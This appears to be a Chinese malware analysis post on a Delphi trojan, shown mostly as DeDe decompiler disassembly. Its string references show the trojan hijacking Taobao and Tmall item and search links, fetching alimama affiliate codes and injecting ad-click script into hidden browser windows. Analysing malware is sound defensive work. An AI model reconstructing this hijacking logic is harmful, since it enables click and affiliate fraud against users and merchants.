百度旅游——让旅行更简单Trojan-Banker.Win32.Banker (2)
使用spy对木马进程监视，发现不停地WM_TIMER消息,估计木马使用定时器监控ie的启动情况
木马使用delphi编写.
先使用ollydbg反编译Coilk.exe,发现
代码中有{985483CD-DCDE-4817-AF35-F}google,发现是Trojan-Banker病毒
代码中有TInterfacedObject，baidu,发现是delhpi类
再下载DeDe反编译，代码如下
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls
Tfrm_SSMoon=class(TForm)
ti_ZipMemory: TT
Panel1: TP
Webb1: TWebB
IdHTTP: TIdHTTP;
Webb: TWebB
webb2: TWebB
RzColorPicker1: TRzColorP
GroupBox1: TGroupB
procedure FormCreate(Sender : TObject);
procedure WebbDocumentComplete(Sender : TObject);
procedure FormClose(Sender : TObject);
procedure FormActivate(Sender : TObject);
procedure ti_ZipMemoryTimer(Sender : TObject);
procedure webb2DocumentComplete(Sender : TObject);
procedure webb2NewWindow2(Sender : TObject);
procedure WebbNewWindow2(Sender : TObject);
procedure _PROC_004BA92A(Sender : TObject);
procedure _PROC_004BA961(Sender : TObject);
procedure _PROC_004BAA38(Sender : TObject);
procedure _PROC_004BAA95(Sender : TObject);
procedure _PROC_004BACE1(Sender : TObject);
procedure _PROC_004BAD08(Sender : TObject);
procedure _PROC_004BAD51(Sender : TObject);
procedure _PROC_004BB33D(Sender : TObject);
procedure _PROC_004BB5A5(Sender : TObject);
procedure _PROC_004BB800(Sender : TObject);
procedure _PROC_004BBD09(Sender : TObject);
procedure _PROC_004BBDE4(Sender : TObject);
procedure _PROC_004BC071(Sender : TObject);
procedure _PROC_004BC5C5(Sender : TObject);
procedure _PROC_004BC843(Sender : TObject);
procedure _PROC_004BC859(Sender : TObject);
procedure _PROC_004BCA70(Sender : TObject);
procedure _PROC_004BCE8D(Sender : TObject);
procedure _PROC_004BCF10(Sender : TObject);
procedure _PROC_004BD43C(Sender : TObject);
procedure _PROC_004BD598(Sender : TObject);
procedure _PROC_004BD60F(Sender : TObject);
procedure _PROC_004BD618(Sender : TObject);
{ Private declarations }
{ Public declarations }
frm_SSMoon: Tfrm_SSM
{This file is generated by DeDe Ver 3.50.02 Copyright (c)
implementation
{$R *.DFM}
procedure Tfrm_SSMoon.FormCreate(Sender : TObject);
* Possible String Reference to: '檠岕?腚^[嬪]?
dword ptr fs:[eax]
fs:[eax], esp
E8583BF9FF
* Reference to: user32.GetWindowLongA()
E802C5F4FF
E83A3BF9FF
* Reference to: user32.SetWindowLongA()
E834C7F4FF
E8273BF9FF
A12C654C00
eax, dword ptr [$004C652C]
eax, [eax]
eax, [ebp-$04]
* Reference to : TWebBrowser._PROC_()
E84546FBFF
edx, [$004C6268]
byte ptr [$004CDD78], $00
byte ptr [$004CDD79], $00
eax, [ebp-$04]
edx, [ebp-$0C]
E8CD74F4FF
eax, [ebp-$0C]
edx, [ebp-$08]
E876EAF4FF
eax, [ebp-$08]
E8209BF4FF
eax, dword ptr [$004C6268]
byte ptr [eax], $06
eax, dword ptr [$004C6268]
byte ptr [eax], $07
eax, [ebp-$14]
* Reference to : TWebBrowser._PROC_00470A04()
E81C4BFBFF
eax, [ebp-$14]
edx, [ebp-$10]
E83DEAF4FF
edx, [ebp-$10]
eax, dword ptr [$004C6248]
* Possible String Reference to: 'MSPat.XML'
B91CC04B00
ecx, $004BC01C
E80799F4FF
dword ptr [ebp-$04]
* Possible String Reference to: 'Program Files\Common Files\System\O
* Possible String Reference to: 'MSPat.XML'
681CC04B00
eax, dword ptr [$004C6248]
E86599F4FF
eax, dword ptr [$004C6268]
byte ptr [eax], $06
eax, dword ptr [$004C6268]
byte ptr [eax], $07
eax, [ebp-$1C]
* Reference to : TWebBrowser._PROC_00470A04()
E8C54AFBFF
eax, [ebp-$1C]
edx, [ebp-$18]
E8E6E9F4FF
edx, [ebp-$18]
A1D8644C00
eax, dword ptr [$004C64D8]
* Possible String Reference to: 'msadotb.htm'
B964C04B00
ecx, $004BC064
E8B098F4FF
eax, [ebp-$20]
* Reference to : TWebBrowser._PROC_()
E84A4AFBFF
dword ptr [ebp-$20]
* Possible String Reference to: 'Program Files\Common Files\System\O
* Possible String Reference to: 'msadotb.htm'
A1D8644C00
eax, dword ptr [$004C64D8]
E80699F4FF
eax, dword ptr [$004C6248]
eax, [eax]
E8E0FBFEFF
* Reference to field Tfrm_SSMoon.OFFS_0388
[ebx+$0388], eax
E8D3000000
* Reference to : Tfrm_SSMoon._PROC_004BCA70()
E8CC0A0000
* Reference to class TStringList
A1A8AA4100
eax, dword ptr [$0041AAA8]
E86885F4FF
* Reference to field Tfrm_SSMoon.OFFS_038C
[ebx+$038C], eax
* Reference to class TStringList
A1A8AA4100
eax, dword ptr [$0041AAA8]
E85685F4FF
* Reference to field Tfrm_SSMoon.OFFS_0390
[ebx+$0390], eax
E8D139F9FF
* Reference to class TConntecInternetThread
eax, dword ptr [$00471C14]
E8A35CFBFF
* Reference to field Tfrm_SSMoon.OFFS_0394
[ebx+$0394], eax
eax, dword ptr [$004C6758]
byte ptr [eax], $00
fs:[eax], edx
****** FINALLY
* Possible String Reference to: '^[嬪]?
680DC04B00
eax, [ebp-$20]
E81395F4FF
E9D18CF4FF
****** END
procedure Tfrm_SSMoon.WebbDocumentComplete(Sender : TObject);
dword ptr fs:[eax]
fs:[eax], esp
803D78DD4C0000
byte ptr [$004CDD78], $00
edx, [ebp-$0C]
* Reference to control Tfrm_SSMoon.Webb : TWebBrowser
eax, [ebx+$0370]
* Reference to : TWebBrowser._PROC_()
E89C3DFBFF
esi, [ebp-$0C]
0F854D010000
A154DD4C00
eax, dword ptr [$004CDD54]
dword ptr [eax+$0388], +$00
0F843B010000
byte ptr [$004CDD78], $01
ecx, [ebp-$10]
* Reference to control Tfrm_SSMoon.Webb : TWebBrowser
eax, [ebx+$0370]
BACB000000
edx, $000000CB
* Reference to : TOleControl._PROC_0046CE4C()
E86F07FBFF
edx, [ebp-$10]
B860DD4C00
eax, $004CDD60
B944C84B00
ecx, $004BC844
E891ABF4FF
eax, [ebp-$14]
E845ABF4FF
A160DD4C00
eax, dword ptr [$004CDD60]
eax, [eax]
FF90B0010000
dword ptr [eax+$01B0]
E841ACF4FF
edx, [ebp-$14]
B864DD4C00
eax, $004CDD64
B954C84B00
ecx, $004BC854
E863ABF4FF
* Reference to class TMemoryStream
A1ACAD4100
eax, dword ptr [$0041ADAC]
E8EF7DF4FF
[ebp-$08], eax
* Reference to class TStringList
A1A8AA4100
eax, dword ptr [$0041AAA8]
E8E07DF4FF
[ebp-$04], eax
68F7C74B00
dword ptr fs:[eax]
fs:[eax], esp
* Possible String Reference to: '&html&&body&&a id=&adid& href=&#& t
arget=&_blank&&&/a&'
BA6CC84B00
edx, $004BC86C
eax, [ebp-$04]
ecx, [eax]
* Possible reference to virtual method TStringList.OFFS_38
dword ptr [ecx+$38]
* Possible String Reference to: '&script language=&javascript&&'
BAACC84B00
edx, $004BC8AC
eax, [ebp-$04]
ecx, [eax]
* Possible reference to virtual method TStringList.OFFS_38
dword ptr [ecx+$38]
* Possible String Reference to: 'function ClickAD(adcode){lnk = docu
ment.getElementById(&adid&); if(lnk
!=null){lnk.href=lnk.click()
BAD4C84B00
edx, $004BC8D4
eax, [ebp-$04]
ecx, [eax]
* Possible reference to virtual method TStringList.OFFS_38
dword ptr [ecx+$38]
* Possible String Reference to: '&/Script&&/body&&/html&'
BA4CC94B00
edx, $004BC94C
eax, [ebp-$04]
ecx, [eax]
* Possible reference to virtual method TStringList.OFFS_38
dword ptr [ecx+$38]
edx, [ebp-$08]
eax, [ebp-$04]
ecx, [eax]
* Possible reference to virtual method TStringList.OFFS_78
dword ptr [ecx+$78]
eax, [ebp-$08]
E8842EF6FF
ecx, [ebp-$08]
* Reference to class TStreamAdapter
A13CB04100
eax, dword ptr [$0041B03C]
E80B82F6FF
ecx, [ebp-$1C]
* Reference to control Tfrm_SSMoon.Webb : TWebBrowser
eax, [ebx+$0370]
BACB000000
edx, $000000CB
* Reference to : TOleControl._PROC_0046CE4C()
E88C06FBFF
edx, [ebp-$1C]
eax, [ebp-$18]
B964C94B00
ecx, $004BC964
E8B0AAF4FF
eax, [ebp-$18]
eax, [eax]
dword ptr [eax+$14]
fs:[eax], edx
****** FINALLY
68FEC74B00
eax, [ebp-$08]
E85A7DF4FF
eax, [ebp-$04]
E8527DF4FF
E9E084F4FF
****** END
fs:[eax], edx
****** FINALLY
683BC84B00
eax, [ebp-$1C]
E829AAF4FF
eax, [ebp-$18]
E821AAF4FF
eax, [ebp-$14]
E819AAF4FF
eax, [ebp-$10]
E811AAF4FF
eax, [ebp-$0C]
E809AAF4FF
E9A384F4FF
****** END
procedure Tfrm_SSMoon.FormClose(Sender : TObject);
byte ptr [ecx], $02
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
E8F77AF4FF
* Reference to field Tfrm_SSMoon.OFFS_038C
8B838C030000
eax, [ebx+$038C]
E8EC7AF4FF
* Reference to field Tfrm_SSMoon.OFFS_0390
eax, [ebx+$0390]
E8E17AF4FF
* Reference to GlobalVar_004CDD54
A354DD4C00
dword ptr [$004CDD54], eax
procedure Tfrm_SSMoon.FormActivate(Sender : TObject);
* Reference to field Tfrm_SSMoon.OFFS_004C
edx, [eax+$4C]
* Reference to : TGlassFrame._PROC_()
E8B860FAFF
procedure Tfrm_SSMoon.ti_ZipMemoryTimer(Sender : TObject);
[ebp-$04], eax
833D58DD4C0000
dword ptr [$004CDD58], +$00
68F6D14B00
dword ptr fs:[eax]
fs:[eax], esp
A158DD4C00
eax, dword ptr [$004CDD58]
* Reference to: kernel32.SetProcessWorkingSetSize()
E8D4ABF4FF
fs:[eax], edx
E92D78F4FF
E8387CF4FF
****** END
eax, [ebp-$04]
* Reference to control Tfrm_SSMoon.ti_ZipMemory : TTimer
eax, [eax+$0360]
BA40771B00
edx, $001B7740
* Reference to : TPanel._PROC_00437CDC()
E8C9AAF7FF
procedure Tfrm_SSMoon.webb2DocumentComplete(Sender : TObject);
dword ptr fs:[eax]
fs:[eax], esp
803D79DD4C0000
byte ptr [$004CDD79], $00
0F85C7000000
ecx, [ebp-$04]
BAC8000000
* Reference to control Tfrm_SSMoon.webb2 : TWebBrowser
eax, [ebx+$0374]
* Reference to : TOleControl._PROC_0046CE4C()
E8EFFBFAFF
esi, [ebp-$04]
0F85AB000000
byte ptr [$004CDD79], $01
B85CDD4C00
eax, $004CDD5C
E8C59FF4FF
A154DD4C00
eax, dword ptr [$004CDD54]
E81F27F9FF
* Reference to: user32.SetForegroundWindow()
E8C1B2F4FF
eax, [ebp-$08]
E8AD9FF4FF
ecx, [ebp-$0C]
A154DD4C00
eax, dword ptr [$004CDD54]
* Reference to control webb2 : TWebBrowser
eax, [eax+$0374]
BACB000000
edx, $000000CB
* Reference to : TOleControl._PROC_0046CE4C()
E8A4FBFAFF
eax, [ebp-$0C]
eax, [eax]
FF90B0010000
dword ptr [eax+$01B0]
E893A0F4FF
eax, [ebp-$08]
eax, [eax]
FF90EC000000
dword ptr [eax+$00EC]
E882A0F4FF
* Possible String Reference to: '{TAB '
685CD34B00
edx, [ebp-$14]
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$2C]
E82CCFF4FF
dword ptr [ebp-$14]
686CD34B00
eax, [ebp-$10]
E89385F4FF
eax, [ebp-$10]
E88786F4FF
E8CC0AFFFF
eax, dword ptr [$004C6260]
eax, [eax]
* Reference to: user32.SetForegroundWindow()
E837B2F4FF
fs:[eax], edx
****** FINALLY
684BD34B00
eax, [ebp-$14]
E8ED81F4FF
eax, [ebp-$0C]
E8099FF4FF
eax, [ebp-$08]
E8019FF4FF
eax, [ebp-$04]
E8F99EF4FF
E99379F4FF
****** END
procedure Tfrm_SSMoon.webb2NewWindow2(Sender : TObject);
682AD44B00
dword ptr fs:[eax]
fs:[eax], esp
68F7D34B00
dword ptr fs:[eax]
fs:[eax], esp
833D5CDD4C0000
dword ptr [$004CDD5C], +$00
eax, [ebp-$04]
E8919EF4FF
A15CDD4C00
eax, dword ptr [$004CDD5C]
eax, [eax]
dword ptr [eax+$3C]
E8909FF4FF
edx, [ebp-$04]
E88E9EF4FF
ecx, [ebp-$08]
* Reference to control Tfrm_SSMoon.Webb1 : TWebBrowser
eax, [ebx+$0368]
BAC8000000
* Reference to : TOleControl._PROC_0046CE4C()
E871FAFAFF
edx, [ebp-$08]
E86F9EF4FF
eax, [ebp+$08]
66C7000000
word ptr [eax], $0000
fs:[eax], edx
E92C76F4FF
eax, [ebp+$08]
66C700FFFF
word ptr [eax], $FFFF
E82F7AF4FF
****** END
fs:[eax], edx
****** FINALLY
eax, [ebp-$08]
* Reference to object IDispatch
8B15B8114000
E80F8DF4FF
E9AD78F4FF
****** END
procedure Tfrm_SSMoon.WebbNewWindow2(Sender : TObject);
682ECA4B00
dword ptr fs:[eax]
fs:[eax], esp
68FBC94B00
dword ptr fs:[eax]
fs:[eax], esp
833D5CDD4C0000
dword ptr [$004CDD5C], +$00
eax, [ebp-$04]
E88DA8F4FF
A15CDD4C00
eax, dword ptr [$004CDD5C]
eax, [eax]
dword ptr [eax+$3C]
E88CA9F4FF
edx, [ebp-$04]
E88AA8F4FF
ecx, [ebp-$08]
* Reference to control Tfrm_SSMoon.Webb1 : TWebBrowser
eax, [ebx+$0368]
BAC8000000
* Reference to : TOleControl._PROC_0046CE4C()
E86D04FBFF
edx, [ebp-$08]
E86BA8F4FF
eax, [ebp+$08]
66C7000000
word ptr [eax], $0000
fs:[eax], edx
E92880F4FF
eax, [ebp+$08]
66C700FFFF
word ptr [eax], $FFFF
E82B84F4FF
****** END
fs:[eax], edx
****** FINALLY
eax, [ebp-$08]
* Reference to object IDispatch
8B15B8114000
E80B97F4FF
E9A982F4FF
****** END
procedure Tfrm_SSMoon._PROC_004BA92A(Sender : TObject);
dword ptr [ecx]
[ecx+$16], esp
118A3E00C04F
[edx+$4FC0003E], ecx
05DF020000
eax, +$000002DF
procedure Tfrm_SSMoon._PROC_004BA961(Sender : TObject);
dword ptr fs:[eax]
fs:[eax], esp
byte ptr [ebp-$01], $01
* Possible String Reference to: '?狋?艵?'
68F2A94B00
dword ptr fs:[eax]
fs:[eax], esp
833D64DD4C0000
dword ptr [$004CDD64], +$00
eax, [ebp-$14]
E8AE77F5FF
683CAA4B00
* Possible String Reference to: 'ClickAD(&'
685CAA4B00
* Possible String Reference to: '&);'
eax, [ebp-$1C]
E8C8AEF4FF
edx, [ebp-$1C]
eax, [ebp-$18]
E891B4F4FF
eax, [ebp-$18]
A164DD4C00
eax, dword ptr [$004CDD64]
eax, [eax]
dword ptr [eax+$0110]
E86AC9F4FF
byte ptr [ebp-$01], $00
fs:[eax], edx
E931A0F4FF
byte ptr [ebp-$01], $00
E838A4F4FF
****** END
fs:[eax], edx
****** FINALLY
682DAA4B00
eax, [ebp-$1C]
E8DFAAF4FF
eax, [ebp-$18]
E8DFB2F4FF
eax, [ebp-$14]
E82B77F5FF
E9B1A2F4FF
****** END
eax, byte ptr [ebp-$01]
procedure Tfrm_SSMoon._PROC_004BAA38(Sender : TObject);
procedure Tfrm_SSMoon._PROC_004BAA95(Sender : TObject);
* Possible String Reference to: '閟狋?脎^[嬪]?
dword ptr fs:[eax]
fs:[eax], esp
eax, dword ptr [$004C6778]
dword ptr [eax], +$00
0F847B010000
* Reference to: user32.GetForegroundWindow()
E895D7F4FF
A154DD4C00
eax, dword ptr [$004CDD54]
E8D14EF9FF
* Reference to: user32.SetForegroundWindow()
E873DAF4FF
eax, [ebp-$04]
E85FC7F4FF
ecx, [ebp-$08]
A154DD4C00
eax, dword ptr [$004CDD54]
* Reference to control webb2 : TWebBrowser
eax, [eax+$0374]
BACB000000
edx, $000000CB
* Reference to : TOleControl._PROC_0046CE4C()
E85623FBFF
eax, [ebp-$08]
eax, [eax]
FF90B0010000
dword ptr [eax+$01B0]
E845C8F4FF
eax, [ebp-$04]
eax, [eax]
FF90EC000000
dword ptr [eax+$00EC]
E834C8F4FF
* Possible String Reference to: '{TAB '
687CAC4B00
edx, [ebp-$10]
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$2C]
E8D9F6F4FF
dword ptr [ebp-$10]
688CAC4B00
eax, [ebp-$0C]
E840ADF4FF
eax, [ebp-$0C]
E834AEF4FF
E87932FFFF
* Reference to class TClipboard
eax, dword ptr [$]
E8B599F4FF
edx, [ebp-$14]
* Reference to : TClipboard._PROC_0043959C()
E82DEAF7FF
edx, [ebp-$14]
B874DD4C00
eax, $004CDD74
E8CCA9F4FF
edx, [eax]
* Possible reference to virtual method TClipboard.OFFS_18
dword ptr [edx+$18]
edx, [eax]
* Possible reference to virtual method TClipboard.OFFS_10
dword ptr [edx+$10]
edx, [$004C6778]
edx, [edx]
* Reference to : TClipboard._PROC_0043961C()
E883EAF7FF
* Possible String Reference to: '^v'
B890AC4B00
eax, $004BAC90
E82B32FFFF
edx, [eax]
* Possible reference to virtual method TClipboard.OFFS_14
dword ptr [edx+$14]
E89599F4FF
* Possible String Reference to: '{TAB '
687CAC4B00
edx, [ebp-$1C]
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$30]
E83EF6F4FF
dword ptr [ebp-$1C]
688CAC4B00
eax, [ebp-$18]
E8A5ACF4FF
eax, [ebp-$18]
E899ADF4FF
E8DE31FFFF
E87BFEFFFF
* Reference to: kernel32.GetTickCount()
E8C2D0F4FF
* Reference to: kernel32.GetTickCount()
E8BBD0F4FF
dword ptr [esp], eax
[esp+$04], edx
3DE8030000
A12C664C00
eax, dword ptr [$004C662C]
eax, [eax]
E857B7FAFF
* Reference to: user32.SetForegroundWindow()
E80FD9F4FF
fs:[eax], edx
****** FINALLY
* Possible String Reference to: '^[嬪]?
686BAC4B00
eax, [ebp-$1C]
E8C5A8F4FF
eax, [ebp-$08]
E8E1C5F4FF
eax, [ebp-$04]
E8D9C5F4FF
E973A0F4FF
****** END
procedure Tfrm_SSMoon._PROC_004BACE1(Sender : TObject);
EA048B1285
byte ptr [esi+$1B], cl
0FB64C37FF
ecx, byte ptr [edi+esi-$01]
procedure Tfrm_SSMoon._PROC_004BAD08(Sender : TObject);
* Possible String Reference to: 'mm_'
B83CAD4B00
eax, $004BAD3C
E8B9ADF4FF
* Possible String Reference to: '_0_0'
B848AD4B00
eax, $004BAD48
E8A9ADF4FF
procedure Tfrm_SSMoon._PROC_004BAD51(Sender : TObject);
[ebp-$50], ebx
[ebp-$4C], ebx
[ebp-$48], ebx
[ebp-$44], ebx
[ebp-$30], ebx
[ebp-$04], ebx
[ebp-$08], ebx
[ebp-$0C], ebx
[ebp-$10], ebx
[ebp-$18], ecx
[ebp-$14], edx
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp-$18]
E860A7F4FF
* Possible String Reference to: 'mm_'
B8A8B14B00
eax, $004BB1A8
E830ADF4FF
* Possible String Reference to: '_0_0'
B8B4B14B00
eax, $004BB1B4
E81EADF4FF
0F8EA6030000
eax, [ebp-$0C]
edx, [ebx+$03]
E81BACF4FF
eax, [ebp-$0C]
E8BBFEFFFF
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$18]
edx, [eax]
dword ptr [edx+$14]
eax, [ebp-$08]
E886A7F4FF
* Possible String Reference to: 'item.tmall.com/item.htm?id='
B8C4B14B00
eax, $004BB1C4
E8BEACF4FF
* Possible String Reference to: 'item.tmall.com/auction/item_detail.
htm?item_num_id='
B8E8B14B00
eax, $004BB1E8
E8AEACF4FF
* Possible String Reference to: 'item.taobao.com/item.htm?id='
B824B24B00
eax, $004BB224
E89EACF4FF
* Possible String Reference to: 'item.taobao.com/auction/item_detail
.htm?item_num_id='
B84CB24B00
eax, $004BB24C
E88EACF4FF
B88CB24B00
eax, $004BB28C
E87AACF4FF
ebx, [ebx]
eax, [ebp-$08]
E870ABF4FF
eax, [ebp-$08]
E859ABF4FF
edx, [ebp-$40]
eax, [ebp-$08]
E80E85FFFF
eax, [ebp-$40]
edx, [ebp-$30]
E87B85FFFF
edx, [ebp-$30]
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$14]
ecx, [eax]
dword ptr [ecx+$54]
0F851F020000
edx, [ebp-$08]
B898B24B00
eax, $004BB298
E8F9ABF4FF
eax, [ebp-$08]
[ebp-$2C], eax
dword ptr [ebp-$2C], +$00
eax, [ebp-$2C]
eax, [eax]
[ebp-$2C], eax
eax, [ebp-$10]
ecx, [ebp-$2C]
edx, [edi+$01]
eax, [ebp-$08]
E8E0AAF4FF
dword ptr [ebp-$10], +$00
0F844C020000
eax, [ebp-$10]
E8B6FDFFFF
0F843C020000
833D64DD4C0000
dword ptr [$004CDD64], +$00
0F842F020000
B868DD4C00
eax, $004CDD68
edx, [ebp-$08]
E808A6F4FF
* Reference to class TStringList
A1A8AA4100
eax, dword ptr [$0041AAA8]
E8CC95F4FF
[ebp-$1C], eax
* Reference to class TStringList
A1A8AA4100
eax, dword ptr [$0041AAA8]
E8BD95F4FF
[ebp-$20], eax
eax, [ebp-$44]
ecx, [ebp-$10]
* Possible String Reference to: 'auction_id='
BAA4B24B00
edx, $004BB2A4
E89EA8F4FF
edx, [ebp-$44]
eax, [ebp-$1C]
ecx, [eax]
* Possible reference to virtual method TStringList.OFFS_38
dword ptr [ecx+$38]
eax, [ebp-$48]
A154DD4C00
eax, dword ptr [$004CDD54]
* Reference to control IdHTTP : TIdHTTP
8B806C030000
eax, [eax+$036C]
ecx, [ebp-$1C]
* Possible String Reference to: 'http://taoke.alimama.com/spreader/g
en_auction_code.htm'
BAB8B24B00
edx, $004BB2B8
E80BA9FDFF
edx, [ebp-$48]
eax, [ebp-$20]
ecx, [eax]
* Possible reference to virtual method TStringList.OFFS_2C
dword ptr [ecx+$2C]
eax, [ebp-$20]
edx, [eax]
* Possible reference to virtual method TStringList.OFFS_14
dword ptr [edx+$14]
[ebp-$28], eax
dword ptr [ebp-$24], $
ecx, [ebp-$04]
edx, [ebp-$24]
eax, [ebp-$20]
ebx, [eax]
* Possible reference to virtual method TStringList.OFFS_0C
dword ptr [ebx+$0C]
edx, [ebp-$04]
* Possible String Reference to: 'var urlcode ='
B8F8B24B00
eax, $004BB2F8
E8F9AAF4FF
0F8EEA000000
edx, [ebp-$04]
* Possible String Reference to: 'http://'
B810B34B00
eax, $004BB310
E8E2AAF4FF
eax, [ebp-$14]
eax, [ebp-$4C]
E8F5F2F4FF
edx, [ebp-$4C]
A154DD4C00
eax, dword ptr [$004CDD54]
8B808C030000
eax, [eax+$038C]
ecx, [eax]
dword ptr [ecx+$38]
eax, [ebp-$1C]
E82A95F4FF
eax, [ebp-$20]
E82295F4FF
E9AC000000
eax, [ebp-$04]
edx, [ebp-$04]
B88CB24B00
eax, $004BB28C
E894AAF4FF
eax, [ebp-$04]
E8A2A9F4FF
* Reference to : Tfrm_SSMoon._PROC_004BAD08()
E8B7FCFFFF
dword ptr [ebp-$04]
* Possible String Reference to: '&p=mm_'
eax, dword ptr [$004C6410]
dword ptr [eax]
* Possible String Reference to: '_0_0&n=11'
eax, [ebp-$18]
E812A8F4FF
dword ptr [ebp-$04]
* Possible String Reference to: '&p=mm_'
eax, dword ptr [$004C6638]
dword ptr [eax]
* Possible String Reference to: '_0_0&n=11'
eax, [ebp-$18]
E8EFA7F4FF
edx, [ebp-$40]
A168DD4C00
eax, dword ptr [$004CDD68]
E80483FFFF
eax, [ebp-$40]
edx, [ebp-$50]
E87183FFFF
edx, [ebp-$50]
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
ecx, [ebp-$04]
E8D70AFFFF
dword ptr [ebp-$24]
dword ptr [ebp-$28]
0F85E5FEFFFF
eax, [ebp-$1C]
E86994F4FF
eax, [ebp-$20]
E86194F4FF
* Reference to : Tfrm_SSMoon._PROC_004BAD08()
E818FCFFFF
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$14]
ecx, [eax]
dword ptr [ecx+$18]
dword ptr [eax+$08]
* Possible String Reference to: '&p=mm_'
eax, dword ptr [$004C6410]
dword ptr [eax]
* Possible String Reference to: '_0_0&n=11'
eax, [ebp-$18]
E85EA7F4FF
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$14]
ecx, [eax]
dword ptr [ecx+$18]
dword ptr [eax+$08]
* Possible String Reference to: '&p=mm_'
eax, dword ptr [$004C6638]
dword ptr [eax]
* Possible String Reference to: '_0_0&n=11'
eax, [ebp-$18]
E826A7F4FF
fs:[eax], edx
****** FINALLY
eax, [ebp-$50]
E89CA3F4FF
eax, [ebp-$30]
E870A3F4FF
eax, [ebp-$10]
E887A3F4FF
E9459BF4FF
****** END
procedure Tfrm_SSMoon._PROC_004BB33D(Sender : TObject);
[ebp-$08], edx
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp-$08]
E891A1F4FF
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
dword ptr [eax+$28], +$00
68E6B44B00
dword ptr fs:[edx]
fs:[edx], esp
edx, [ebp-$04]
E8D8E5F4FF
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$28]
E9A6000000
edx, [ebp-$04]
* Possible String Reference to: 'search8.taobao.com'
B82CB54B00
eax, $004BB52C
E817A7F4FF
edx, [ebp-$04]
* Possible String Reference to: 's8.taobao.com'
B848B54B00
eax, $004BB548
E806A7F4FF
E98A000000
edx, [ebp-$04]
* Possible String Reference to: 'search.taobao.com'
B860B54B00
eax, $004BB560
E8E7A6F4FF
edx, [ebp-$04]
* Possible String Reference to: 's.taobao.com'
B87CB54B00
eax, $004BB57C
E8D6A6F4FF
edx, [ebp-$04]
* Possible String Reference to: 'search8.taobao.com'
B82CB54B00
eax, $004BB52C
E8BDA6F4FF
edx, [ebp-$04]
* Possible String Reference to: 's8.taobao.com'
B848B54B00
eax, $004BB548
E8ACA6F4FF
edx, [ebp-$04]
* Possible String Reference to: 'search.taobao.com'
B860B54B00
eax, $004BB560
E89BA6F4FF
edx, [ebp-$04]
* Possible String Reference to: 's.taobao.com'
B87CB54B00
eax, $004BB57C
E88AA6F4FF
fs:[eax], edx
* Possible String Reference to: 'q='
B894B54B00
eax, $004BB594
E861A6F4FF
fs:[eax], edx
edi, [edi]
eax, [ebp-$04]
edx, [ebx+$02]
E84FA5F4FF
edx, [ebp-$04]
B8A0B54B00
eax, $004BB5A0
E826A6F4FF
edx, [ebp-$08]
eax, [ebp-$04]
E84D71FFFF
eax, [ebp-$0C]
eax, [ebp-$04]
E81BA5F4FF
eax, [ebp-$0C]
edx, [ebp-$08]
E82C71FFFF
fs:[eax], edx
E93D95F4FF
eax, [ebp-$08]
E801A0F4FF
E84099F4FF
****** END
fs:[eax], edx
****** FINALLY
681DB54B00
eax, [ebp-$0C]
E8E79FF4FF
eax, [ebp-$04]
E8DF9FF4FF
E9C197F4FF
****** END
procedure Tfrm_SSMoon._PROC_004BB5A5(Sender : TObject);
* Possible String Reference to: '殓旚?胫嬅_^[嬪]肬嬱伳佝??SVW3缐呚?
?墔荥??墔帼??墔濑??墔棹??墔忐??塃鼔
E鴫E?繳h捈K'
68F0B74B00
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp-$10]
E822EDF4FF
edx, [ebp-$10]
A154DD4C00
eax, dword ptr [$004CDD54]
8B808C030000
eax, [eax+$038C]
ecx, [eax]
dword ptr [ecx+$54]
0F85D0010000
BA5CDD4C00
edx, $004CDD5C
E8A8F1FFFF
0F85BC010000
833D5CDD4C0000
dword ptr [$004CDD5C], +$00
0F84AF010000
68B4B74B00
dword ptr fs:[edx]
fs:[edx], esp
A154DD4C00
eax, dword ptr [$004CDD54]
dword ptr [eax+$0388], +$00
fs:[eax], edx
eax, [ebp-$14]
E8B8A6F4FF
A15CDD4C00
eax, dword ptr [$004CDD5C]
eax, [eax]
dword ptr [eax+$78]
E8F7BCF4FF
edx, [ebp-$14]
eax, [ebp-$04]
E81CA1F4FF
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$20]
edx, [eax]
dword ptr [edx+$14]
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
dword ptr [eax+$28], +$00
803D79DD4C0000
byte ptr [$004CDD79], $00
edx, [ebp-$18]
eax, [ebp-$04]
E8A0FCFFFF
edx, [ebp-$18]
eax, dword ptr [$004C6778]
E89F9EF4FF
eax, dword ptr [$004C6778]
dword ptr [eax], +$00
eax, [ebp-$1C]
E835ECF4FF
edx, [ebp-$1C]
A154DD4C00
eax, dword ptr [$004CDD54]
8B808C030000
eax, [eax+$038C]
ecx, [eax]
dword ptr [ecx+$38]
E8B9F3FFFF
fs:[eax], edx
E9D8000000
ecx, [ebp-$08]
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
edx, [ebp-$04]
E8D207FFFF
eax, [ebp-$08]
E857F2FFFF
eax, [ebp-$20]
E8DBEBF4FF
edx, [ebp-$20]
A154DD4C00
eax, dword ptr [$004CDD54]
8B808C030000
eax, [eax+$038C]
ecx, [eax]
dword ptr [ecx+$38]
ecx, [ebp-$0C]
eax, [ebp-$04]
E813F6FFFF
dword ptr [ebp-$0C], +$00
eax, [ebp-$24]
E8A7EBF4FF
edx, [ebp-$24]
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0390]
ecx, [eax]
dword ptr [ecx+$54]
fs:[eax], edx
eax, [ebp-$0C]
E8E7F1FFFF
eax, [ebp-$28]
E86BEBF4FF
edx, [ebp-$28]
A154DD4C00
